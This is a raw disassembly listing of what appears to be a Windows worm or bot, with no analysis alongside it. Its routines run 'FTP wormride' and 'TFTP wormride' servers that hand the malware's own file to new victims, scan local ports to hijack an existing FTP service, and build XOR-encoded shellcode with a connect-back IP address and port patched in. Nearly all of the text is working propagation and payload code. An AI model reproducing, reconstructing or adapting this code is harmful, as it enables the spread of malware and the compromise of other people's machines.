		call	sub_411522	; sscanf
		movzx	eax, [ebp+var_30]
		add	esp, 20h
		push	eax
		movzx	eax, [ebp+var_24]
		push	eax
		movzx	eax, [ebp+var_1C]
		push	eax
		movzx	eax, [ebp+var_28]
		push	eax
		push	offset dword_413A58
		lea	eax, [ebp+var_330]
		push	100h
		push	eax
		call	sub_41152E	; _snprintf
		xor	eax, eax
		add	esp, 1Ch
		mov	ah, [ebp+var_2C]
		mov	al, [ebp+var_20]
		push	eax
		push	offset aU_0	; "%u"
		lea	eax, [ebp+var_14]
		push	6
		push	eax
		call	sub_41152E	; _snprintf
		add	esp, 10h


loc_40D8F4:				; CODE XREF: sub_40D6E0+183j
		push	offset dword_417720
		jmp	loc_40DA6B
; ---------------------------------------------------------------------------


loc_40D8FE:				; CODE XREF: sub_40D6E0+1A1j
		cmp	eax, dword_417714
		jnz	short loc_40D97E
		push	offset aRb	; "rb"
		push	offset dword_419ECC
		call	sub_411506	; fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	loc_40DB99
		push	2
		push	0
		push	edi
		call	sub_411516	; fseek
		push	edi
		call	sub_4114F4	; ftell
		push	0
		push	0
		push	edi
		mov	[ebp+var_8], eax
		call	sub_411516	; fseek
		push	edi
		call	sub_411500	; fclose
		add	esp, 20h
		lea	eax, [ebp+var_230]
		push	[ebp+var_8]
		push	offset dword_417708
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		add	esp, 20h
		jmp	loc_40DA95
; ---------------------------------------------------------------------------


loc_40D97E:				; CODE XREF: sub_40D6E0+224j
		cmp	eax, dword_4176FC
		jnz	loc_40DAA7
		push	offset a150	; "150 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		push	2710h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_403C04
		add	esp, 2Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	loc_40DB99
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DB99
		push	offset aRb	; "rb"
		push	offset dword_419ECC
		call	sub_411506	; fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	loc_40DB99
		push	2
		push	0
		push	edi
		call	sub_411516	; fseek
		push	edi
		call	sub_4114F4	; ftell
		push	0
		push	0
		push	edi
		mov	[ebp+var_8], eax
		call	sub_411516	; fseek
		push	edi
		call	sub_411500	; fclose
		add	esp, 20h
		lea	eax, [ebp+var_230]
		push	offset dword_419ECC
		push	[ebp+var_8]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	[ebp+var_4]
		call	sub_403D9D
		push	[ebp+var_4]
		call	sub_403D70
		add	esp, 28h
		push	offset dword_417678


loc_40DA6B:				; CODE XREF: sub_40D6E0+115j
					; sub_40D6E0+12Ej ...
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		add	esp, 1Ch


loc_40DA95:				; CODE XREF: sub_40D6E0+C7j
					; sub_40D6E0+137j ...
		push	0EA60h
		push	ebx
		call	sub_403E1F
		pop	ecx
		pop	ecx
		jmp	loc_40D75F
; ---------------------------------------------------------------------------


loc_40DAA7:				; CODE XREF: sub_40D6E0+2A4j
		cmp	eax, dword_41766C
		jnz	loc_40DB62
		push	offset a150	; "150 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_40D63E
		add	esp, 24h
		test	eax, eax
		jz	loc_40DB99
		push	offset dword_417678
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		push	1
		push	offset dword_419EA8
		call	sub_407216
		add	esp, 24h
		lea	ecx, [ebp+var_330]
		inc	eax
		push	ecx
		push	eax
		push	offset aFtp_0	; "ftp"
		push	offset unk_417640
		push	offset dword_418E50
		call	sub_409659
		add	esp, 14h
		push	3E8h
		call	dword_4120A4	; Sleep
		jmp	short loc_40DB99
; ---------------------------------------------------------------------------


loc_40DB62:				; CODE XREF: sub_40D6E0+3CDj
		cmp	eax, dword_417634
		jnz	short loc_40DB99
		push	offset a221	; "221 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		add	esp, 1Ch


loc_40DB99:				; CODE XREF: sub_40D6E0+81j
					; sub_40D6E0+9Aj ...
		push	offset a231	; "231 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D9D
		push	ebx
		call	sub_403D70
		add	esp, 20h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40D6E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBD7	proc near		; CODE XREF: sub_40DD36+58p

var_20C		= dword	ptr -20Ch
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	32h
		push	edi
		call	sub_403E1F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DD30
		mov	esi, 200h
		lea	eax, [ebp+var_200]
		push	esi
		push	eax
		push	edi
		call	sub_403DB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40DD30
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DD30
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_405AB9
		lea	eax, [ebp+var_200]
		mov	[esp+20Ch+var_20C], offset dword_4177F8
		push	eax
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DD30
		lea	eax, [ebp+var_200]
		push	offset dword_4177EC
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	edi
		call	sub_403D9D
		push	32h
		lea	eax, [ebp+var_200]
		push	esi
		push	eax
		push	edi
		call	sub_403DF6
		add	esp, 28h
		test	eax, eax
		jz	loc_40DD30
		cmp	eax, 0FFFFFFFFh
		jz	loc_40DD30
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_405AB9
		lea	eax, [ebp+var_200]
		mov	[esp+20Ch+var_20C], offset dword_4177E8
		push	eax
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD30
		call	sub_40B480
		push	eax
		lea	eax, [ebp+var_200]
		push	offset dword_4177DC
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	edi
		call	sub_403D9D
		push	32h
		lea	eax, [ebp+var_200]
		push	esi
		push	eax
		push	edi
		call	sub_403DF6
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_40DD30
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DD30
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_405AB9
		lea	eax, [ebp+var_200]
		mov	[esp+20Ch+var_20C], offset dword_4177D8
		push	eax
		call	sub_41177E	; strcmp
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40DD32
; ---------------------------------------------------------------------------


loc_40DD30:				; CODE XREF: sub_40DBD7+1Aj
					; sub_40DBD7+38j ...
		xor	eax, eax


loc_40DD32:				; CODE XREF: sub_40DBD7+157j
		pop	edi
		pop	esi
		leave
		retn
sub_40DBD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD36	proc near		; CODE XREF: kkrunchy:0040DE44p

var_1B0		= dword	ptr -1B0h
var_1AC		= byte ptr -1ACh
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		xor	ebx, ebx
		push	1
		pop	edi


loc_40DD66:				; CODE XREF: sub_40DD36+83j
		lea	eax, [ebp+var_8]
		push	0Ah
		push	eax
		push	edi
		call	sub_41192A	; _itoa
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_403C04
		mov	esi, eax
		add	esp, 1Ch
		test	esi, esi
		jz	short loc_40DDB2
		push	esi
		call	sub_40DBD7
		test	eax, eax
		pop	ecx
		jz	short loc_40DDAB
		lea	eax, [ebp+var_8]
		push	2
		push	eax
		call	sub_403644
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		pop	ecx
		jz	short loc_40DDBF


loc_40DDAB:				; CODE XREF: sub_40DD36+60j
		push	esi
		call	sub_403D92
		pop	ecx


loc_40DDB2:				; CODE XREF: sub_40DD36+55j
		inc	edi
		cmp	edi, 0FFFFh
		jb	short loc_40DD66
		test	ebx, ebx
		jnz	short loc_40DDCC


loc_40DDBF:				; CODE XREF: sub_40DD36+73j
		push	[ebp+var_1B0]
		call	sub_406E6F
		jmp	short loc_40DE36
; ---------------------------------------------------------------------------


loc_40DDCC:				; CODE XREF: sub_40DD36+87j
		mov	eax, [ebp+var_1B0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1AC]
		push	offset unk_4177FC
		push	eax
		call	sub_4096CB
		add	esp, 0Ch


loc_40DDE8:				; CODE XREF: sub_40DD36+ECj
		push	3E8h
		push	ebx
		call	sub_403767
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40DE18
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40DE18
		push	esi
		push	offset sub_40D6E0
		call	sub_406C5D
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE18
		push	esi
		call	sub_403D92
		pop	ecx


loc_40DE18:				; CODE XREF: sub_40DD36+C3j
					; sub_40DD36+C8j ...
		mov	eax, [ebp+var_1B0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40DDE8
		push	ebx
		call	sub_40392A
		push	[ebp+var_1B0]
		call	sub_406E6F
		pop	ecx


loc_40DE36:				; CODE XREF: sub_40DD36+94j
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40DD36	endp

; ---------------------------------------------------------------------------


loc_40DE40:				; DATA XREF: sub_40DE4C+3Eo
		push	dword ptr [esp+4]
		call	sub_40DD36
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40DE4C	proc near		; CODE XREF: sub_407A76+485p
					; sub_407A76:loc_407F1Bp

arg_0		= dword	ptr  4

		push	esi
		call	sub_403338
		test	eax, eax
		jnz	short loc_40DE98
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40DE98
		push	edi
		mov	edi, [esp+8+arg_0]
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_40457C
		xor	eax, eax
		pop	ecx
		cmp	[edi+18Bh], al
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		setz	al
		push	eax
		push	esi
		push	offset loc_40DE40
		call	sub_406D58
		add	esp, 10h
		pop	edi


loc_40DE98:				; CODE XREF: sub_40DE4C+8j
					; sub_40DE4C+19j
		pop	esi
		retn
sub_40DE4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE9A	proc near		; DATA XREF: sub_40E243+35o

var_D7C		= dword	ptr -0D7Ch
var_D78		= dword	ptr -0D78h
var_578		= byte ptr -578h
var_478		= dword	ptr -478h
var_474		= byte ptr -474h
var_2D0		= byte ptr -2D0h
var_2CF		= byte ptr -2CFh
var_2CE		= byte ptr -2CEh
var_2CD		= byte ptr -2CDh
var_2CC		= byte ptr -2CCh
var_CC		= byte ptr -0CCh
var_CB		= byte ptr -0CBh
var_CA		= byte ptr -0CAh
var_C9		= byte ptr -0C9h
var_4C		= byte ptr -4Ch
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0D7Ch
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_478]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		xor	ebx, ebx
		push	ebx
		push	2
		pop	esi
		push	esi
		push	esi
		call	dword_41222C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40E22E
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_40348C
		push	10h
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		add	esp, 14h
		mov	[ebp+var_3C], si
		push	45h
		call	dword_412248	; htons
		mov	[ebp+var_3A], ax
		lea	eax, [ebp+var_578]
		push	eax
		call	dword_412254	; inet_addr
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	edi
		mov	[ebp+var_10], 1
		call	dword_412218	; setsockopt
		lea	eax, [ebp+var_3C]
		push	10h
		push	eax
		push	edi
		call	dword_41221C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E22E
		push	offset aRb	; "rb"
		push	offset dword_419ECC
		call	sub_411506	; fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40DF71
		push	edi
		jmp	loc_40E228
; ---------------------------------------------------------------------------


loc_40DF71:				; CODE XREF: sub_40DE9A+CFj
		mov	eax, [ebp+var_478]
		push	dword ptr [eax]
		lea	eax, [ebp+var_474]
		push	offset unk_4178A8
		push	eax
		call	sub_4096CB
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	sub_411516	; fseek
		push	[ebp+arg_0]
		call	sub_4114F4	; ftell
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_14], eax
		call	sub_411516	; fseek
		push	80h
		lea	eax, [ebp+var_CC]
		push	ebx
		push	eax
		call	sub_4114E8	; memset
		mov	esi, dword_412260
		add	esp, 34h


loc_40DFC4:				; CODE XREF: sub_40DE9A+1A2j
					; sub_40DE9A+1A7j ...
		push	1
		mov	ecx, [ebp+var_4]
		pop	eax
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], eax
		mov	[ebp+var_D7C], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_D78], ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_D7C]
		push	ebx
		push	eax
		push	ebx
		call	dword_412214	; select
		test	eax, eax
		jle	loc_40E20D
		mov	al, byte_4191D0
		mov	ecx, 80h
		mov	[ebp+var_2D0], al
		xor	eax, eax
		lea	edi, [ebp+var_2CF]
		mov	[ebp+var_8], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		lea	eax, [ebp+var_CC]
		push	80h
		push	eax
		push	[ebp+var_4]
		call	dword_412268	; recvfrom
		cmp	eax, ebx
		jz	short loc_40DFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DFC4
		cmp	[ebp+var_CC], bl
		jnz	loc_40E1F9
		cmp	[ebp+var_CB], 1
		jnz	loc_40E0F7
		lea	eax, [ebp+var_CA]
		push	eax
		call	sub_4114BE	; strlen
		mov	edi, offset aOctet ; "octet"
		lea	eax, [ebp+eax+var_C9]
		push	edi
		mov	[ebp+var_C], eax
		call	sub_4114BE	; strlen
		push	eax
		push	[ebp+var_C]
		push	edi
		call	sub_411570	; strncmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_40E0A2
		push	[ebp+var_8]
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		push	13h
		push	offset dword_41788C
		jmp	loc_40E208
; ---------------------------------------------------------------------------


loc_40E0A2:				; CODE XREF: sub_40DE9A+1F2j
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_411516	; fseek
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2CC]
		mov	[ebp+var_2D0], bl
		mov	[ebp+var_2CF], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_2CE], bl
		mov	[ebp+var_2CD], 1
		call	sub_411510	; fread
		add	esp, 1Ch
		lea	ecx, [ebp+var_24]
		add	eax, 4
		push	[ebp+var_8]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_2D0]
		push	eax
		jmp	loc_40E208
; ---------------------------------------------------------------------------


loc_40E0F7:				; CODE XREF: sub_40DE9A+1BCj
		cmp	[ebp+var_CB], 4
		jnz	loc_40E1F9
		mov	cl, [ebp+var_C9]
		mov	al, [ebp+var_CA]
		cmp	cl, 0FFh
		mov	[ebp+var_2D0], bl
		mov	[ebp+var_2CF], 3
		jnz	short loc_40E134
		inc	al
		xor	cl, cl
		mov	[ebp+var_2CE], al
		mov	[ebp+var_2CD], bl
		jmp	short loc_40E142
; ---------------------------------------------------------------------------


loc_40E134:				; CODE XREF: sub_40DE9A+286j
		inc	cl
		mov	[ebp+var_2CE], al
		mov	[ebp+var_2CD], cl


loc_40E142:				; CODE XREF: sub_40DE9A+298j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		push	ebx
		lea	eax, [eax+ecx-1]
		shl	eax, 9
		push	eax
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		call	sub_411516	; fseek
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2CC]
		push	200h
		push	1
		push	eax
		call	sub_411510	; fread
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_24]
		push	[ebp+var_8]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2D0]
		push	eax
		push	[ebp+var_4]
		call	esi	; sendto
		cmp	edi, ebx
		jnz	short loc_40E20D
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+var_14]
		jb	short loc_40E20D
		mov	edi, [ebp+var_20]
		push	edi
		push	offset dword_419EB0
		call	sub_407227
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jz	short loc_40E20D
		push	1
		push	offset dword_419EB4
		call	sub_407216
		pop	ecx
		mov	edi, eax
		pop	ecx
		push	10h
		push	[ebp+var_20]
		call	dword_412230	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_4059C2
		add	esp, 0Ch
		lea	eax, [ebp+var_4C]
		inc	edi
		push	eax
		push	edi
		push	offset aWormride ; "wormride"
		push	offset unk_417850
		push	offset dword_418E50
		call	sub_409659
		add	esp, 14h
		jmp	short loc_40E20D
; ---------------------------------------------------------------------------


loc_40E1F9:				; CODE XREF: sub_40DE9A+1AFj
					; sub_40DE9A+264j
		push	[ebp+var_8]
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		push	9
		push	offset dword_417844


loc_40E208:				; CODE XREF: sub_40DE9A+203j
					; sub_40DE9A+258j
		push	[ebp+var_4]
		call	esi	; sendto


loc_40E20D:				; CODE XREF: sub_40DE9A+158j
					; sub_40DE9A+2FAj ...
		mov	eax, [ebp+var_478]
		cmp	[eax+4], ebx
		jz	loc_40DFC4
		push	[ebp+arg_0]
		call	sub_411500	; fclose
		pop	ecx
		push	[ebp+var_4]


loc_40E228:				; CODE XREF: sub_40DE9A+D2j
		call	dword_412240	; closesocket


loc_40E22E:				; CODE XREF: sub_40DE9A+41j
					; sub_40DE9A+B3j
		push	[ebp+var_478]
		call	sub_406E6F
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40DE9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E243	proc near		; CODE XREF: sub_407A76+49Bp
					; sub_407A76+4B1p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40E286
		push	edi
		mov	edi, [esp+8+arg_0]
		lea	eax, [esi+4]
		push	edi
		push	eax
		call	sub_40457C
		xor	eax, eax
		pop	ecx
		cmp	[edi+18Bh], al
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		setz	al
		push	eax
		push	esi
		push	offset sub_40DE9A
		call	sub_406D58
		add	esp, 10h
		pop	edi


loc_40E286:				; CODE XREF: sub_40E243+10j
		pop	esi
		retn
sub_40E243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E288	proc near		; CODE XREF: sub_40E399+62p
					; sub_40E399+84p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	esi
		cmp	[ebp+arg_4], edx
		jbe	short loc_40E2B7


loc_40E293:				; CODE XREF: sub_40E288+2Dj
		xor	ecx, ecx
		cmp	[ebp+arg_C], ecx
		jbe	short loc_40E2B1
		mov	eax, [ebp+arg_0]
		mov	al, [edx+eax]
		xor	al, [ebp+arg_10]


loc_40E2A3:				; CODE XREF: sub_40E288+27j
		mov	esi, [ebp+arg_8]
		cmp	al, [ecx+esi]
		jz	short loc_40E2BC
		inc	ecx
		cmp	ecx, [ebp+arg_C]
		jb	short loc_40E2A3


loc_40E2B1:				; CODE XREF: sub_40E288+10j
		inc	edx
		cmp	edx, [ebp+arg_4]
		jb	short loc_40E293


loc_40E2B7:				; CODE XREF: sub_40E288+9j
		xor	eax, eax


loc_40E2B9:				; CODE XREF: sub_40E288+37j
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40E2BC:				; CODE XREF: sub_40E288+21j
		push	1
		pop	eax
		jmp	short loc_40E2B9
sub_40E288	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E2C1	proc near		; CODE XREF: sub_40CAA1+36p
					; sub_40CEBE+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 1
		push	ebx
		push	esi
		push	edi
		jnz	short loc_40E2FA
		mov	eax, 0B2h
		cmp	[ebp+arg_4], eax
		jb	short loc_40E337
		mov	esi, [ebp+arg_0]
		push	eax
		push	offset dword_417A84
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	ebx, [esi+8Fh]
		lea	edi, [esi+88h]
		jmp	short loc_40E35C
; ---------------------------------------------------------------------------


loc_40E2FA:				; CODE XREF: sub_40E2C1+Aj
		cmp	[ebp+arg_8], 2
		jnz	short loc_40E32D
		mov	eax, 0C6h
		cmp	[ebp+arg_4], eax
		jb	short loc_40E337
		mov	esi, [ebp+arg_0]
		push	eax
		push	offset dword_4179BC
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	edi, [esi+89h]
		add	esi, 0C0h
		jmp	short loc_40E371
; ---------------------------------------------------------------------------


loc_40E32D:				; CODE XREF: sub_40E2C1+3Dj
		mov	eax, 0B2h
		cmp	[ebp+arg_4], eax
		jnb	short loc_40E33B


loc_40E337:				; CODE XREF: sub_40E2C1+14j
					; sub_40E2C1+47j
		xor	eax, eax
		jmp	short loc_40E394
; ---------------------------------------------------------------------------


loc_40E33B:				; CODE XREF: sub_40E2C1+74j
		mov	esi, [ebp+arg_0]
		push	eax
		push	offset dword_417908
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	ebx, [esi+86h]
		lea	edi, [esi+8Dh]


loc_40E35C:				; CODE XREF: sub_40E2C1+37j
		add	esi, 0ACh
		test	ebx, ebx
		jz	short loc_40E371
		push	[ebp+arg_C]
		call	dword_412254	; inet_addr
		mov	[ebx], eax


loc_40E371:				; CODE XREF: sub_40E2C1+6Aj
					; sub_40E2C1+A3j
		test	edi, edi
		jz	short loc_40E388
		push	[ebp+arg_10]
		call	sub_41151C	; atoi
		pop	ecx
		push	eax
		call	dword_412248	; htons
		mov	[edi], ax


loc_40E388:				; CODE XREF: sub_40E2C1+B2j
		test	esi, esi
		jz	short loc_40E391
		mov	eax, [ebp+arg_14]
		mov	[esi], eax


loc_40E391:				; CODE XREF: sub_40E2C1+C9j
		mov	eax, [ebp+arg_4]


loc_40E394:				; CODE XREF: sub_40E2C1+78j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40E2C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E399	proc near		; CODE XREF: kkrunchy:0040B80Dp
					; sub_40BAAF+3Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 1Ch
		push	esi
		push	edi
		jb	short loc_40E3CE
		push	[ebp+arg_14]
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_10]
		lea	eax, [esi+1Ch]
		mov	[ebp+var_4], eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1E4h
		push	eax
		call	sub_40E2C1
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		jnz	short loc_40E3D5


loc_40E3CE:				; CODE XREF: sub_40E399+Aj
		xor	eax, eax
		jmp	loc_40E492
; ---------------------------------------------------------------------------


loc_40E3D5:				; CODE XREF: sub_40E399+33j
		push	1Ch
		push	offset loc_4178E8
		push	esi
		call	sub_4114D0	; memcpy
		mov	eax, dword_417CB8
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_40E3ED:				; CODE XREF: sub_40E399+9Dj
		push	0
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	4
		push	eax
		call	sub_40E288
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40E429
		mov	eax, [ebp+arg_4]
		push	0
		push	[ebp+arg_1C]
		xor	eax, edi
		mov	[ebp+arg_14], eax
		lea	eax, [ebp+arg_14]
		push	[ebp+arg_18]
		push	4
		push	eax
		call	sub_40E288
		add	esp, 14h
		test	eax, eax
		jz	short loc_40E438


loc_40E429:				; CODE XREF: sub_40E399+6Cj
		call	sub_40B480
		mov	[ebp+arg_4], eax
		mov	dword_417CB8, eax
		jmp	short loc_40E3ED
; ---------------------------------------------------------------------------


loc_40E438:				; CODE XREF: sub_40E399+8Ej
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[esi+3], eax
		mov	eax, [ebp+arg_14]
		mov	[esi+9], eax
		mov	bl, byte_417CB5
		mov	byte ptr [ebp+arg_0], bl


loc_40E44E:				; CODE XREF: sub_40E399+DEj
		push	[ebp+arg_0]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		call	sub_40E288
		add	esp, 14h
		test	eax, eax
		jz	short loc_40E479
		call	sub_40B4AB
		mov	bl, al
		mov	byte ptr [ebp+arg_0], bl
		mov	byte_417CB5, bl
		jmp	short loc_40E44E
; ---------------------------------------------------------------------------


loc_40E479:				; CODE XREF: sub_40E399+CCj
		xor	eax, eax
		mov	[esi+12h], bl
		test	edi, edi
		jbe	short loc_40E48E


